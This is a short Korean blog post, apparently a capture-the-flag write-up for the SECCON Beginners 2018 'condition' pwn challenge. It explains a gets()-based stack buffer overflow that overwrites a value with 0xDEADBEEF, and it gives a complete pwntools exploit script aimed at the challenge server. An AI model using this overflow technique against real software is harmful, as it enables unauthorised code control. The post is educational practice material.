Hack4S3cur1ty
[Seccon Beginners 2018][Pwn] condition 본문
문제 이름이 condition 이길래 race condition인줄 알았는데 바이너리를 까보니 그냥 0xDEADBEEF를 만족하면 플래그를 준다.
gets로 간단하게 BOF가 가능하다.
1 2 3 4 5 6 7 8 9 10 | from pwn import * s = remote('pwn1.chall.beginners.seccon.jp', 16268) payload = 'A' * 0x2c payload +='\xef\xbe\xad\xde' s.send(payload + '\n') s.interactive() | cs |
'CTFs > 2018' 카테고리의 다른 글
[OTTERCTF][Memory Forensics] 2 - General Info (0) | 2018.12.16 |
---|---|
[OTTERCTF][Memory Forensics] 1 - What the password? (0) | 2018.12.16 |
[Seccon Beginners 2018][MISC] てけいさんえくすとりーむず (0) | 2018.05.28 |
[Seccon Beginners 2018][Crypto] RSA is Power (0) | 2018.05.28 |
[Seccon Beginners 2018][Rev] Simple Auth (0) | 2018.05.28 |
Comments